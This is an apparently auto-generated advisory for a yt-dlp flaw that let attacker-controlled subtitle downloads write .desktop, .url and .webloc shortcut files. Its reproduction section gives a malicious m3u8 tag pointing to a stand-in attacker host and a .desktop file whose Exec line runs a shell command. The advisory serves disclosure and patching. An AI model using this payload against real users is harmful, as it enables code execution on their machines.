    @@ -6678,7 +6680,7 @@ def sanitize_extension(cls, extension, **kwargs):
                 last = extension.rpartition('.')[-1]
                 if last == 'bin':
                     extension = last = 'unknown_video'
    -            if last.lower() not in cls._ALLOWED_EXTENSIONS:
    +            if not (cls.lenient or last.lower() in cls._ALLOWED_EXTENSIONS):
                     raise cls(extension)
     
             return extension
    

Vulnerability mechanics

Root cause

"The global file extension allowlist in `_UnsafeExtensionError` included `.desktop`, `.url`, and `.webloc`, allowing attacker-controlled subtitle/media downloads to write OS-shortcut files."

Attack vector

An attacker hosts a malicious `master.m3u8` manifest containing an `EXT-X-MEDIA:TYPE=SUBTITLES` tag with a URI pointing to a `.desktop` file (e.g., `URI="http://attacker/payload.desktop"`). When a user runs yt-dlp with `--write-subs`, the extractor derives the file extension from the attacker-controlled URI, and the global allowlist permits `.desktop`, so yt-dlp writes attacker-controlled content to a file like `MyVideo.en.desktop`. Opening this shortcut file can lead to arbitrary code execution or phishing [ref_id=1][ref_id=2].

Affected code

The vulnerability resides in `yt_dlp/utils/_utils.py` in the `_UnsafeExtensionError` class and `_change_extension` function, and in `yt_dlp/YoutubeDL.py` in the `_write_link_file` method. The global allowlist `ALLOWED_EXTENSIONS` included `'desktop'`, `'url'`, and `'webloc'`, and `sanitize_extension()` used only that global list without accepting a context-specific override.

What the fix does

The patch [patch_id=6214797] removes `'desktop'`, `'url'`, and `'webloc'` from the global `ALLOWED_EXTENSIONS` set in `_UnsafeExtensionError`. It also adds an `_allowed_exts` parameter to `sanitize_extension()` and `_change_extension()`, so that callers can supply a context-specific allowlist. In `YoutubeDL.py`, `_write_link_file` now passes `_allowed_exts=tuple(LINK_TEMPLATES)`, ensuring `.desktop`/`.url`/`.webloc` are only written when the user explicitly requests `--write-link`, not during subtitle or media downloads.

Preconditions

  • configUser must pass the --write-subs (or --write-auto-subs, --embed-subs, --write-thumbnail, etc.) option to yt-dlp
  • inputAttacker must control the input URL so that yt-dlp fetches a malicious m3u8 manifest
  • networkAttacker must host a malicious .desktop/.url/.webloc payload at the URI referenced in the manifest

Reproduction

1. Host a malicious `master.m3u8` manifest containing `#EXT-X-MEDIA:TYPE=SUBTITLES,GROUP-ID="subs",NAME="English",URI="http://attacker/payload.desktop",LANGUAGE="en"` and a `payload.desktop` file with `[Desktop Entry]\nType=Application\nExec=sh -c "touch /tmp/ytdlp_pwned_$(id -u)"\nName=Subtitle`. 2. Run `yt-dlp --write-subs -o "MyVideo.%(ext)s" "http://attacker/master.m3u8"`. 3. yt-dlp writes `MyVideo.en.desktop` to disk containing the attacker payload [ref_id=1][ref_id=2].

Generated on Jun 16, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

6

News mentions

0

No linked articles in our index yet.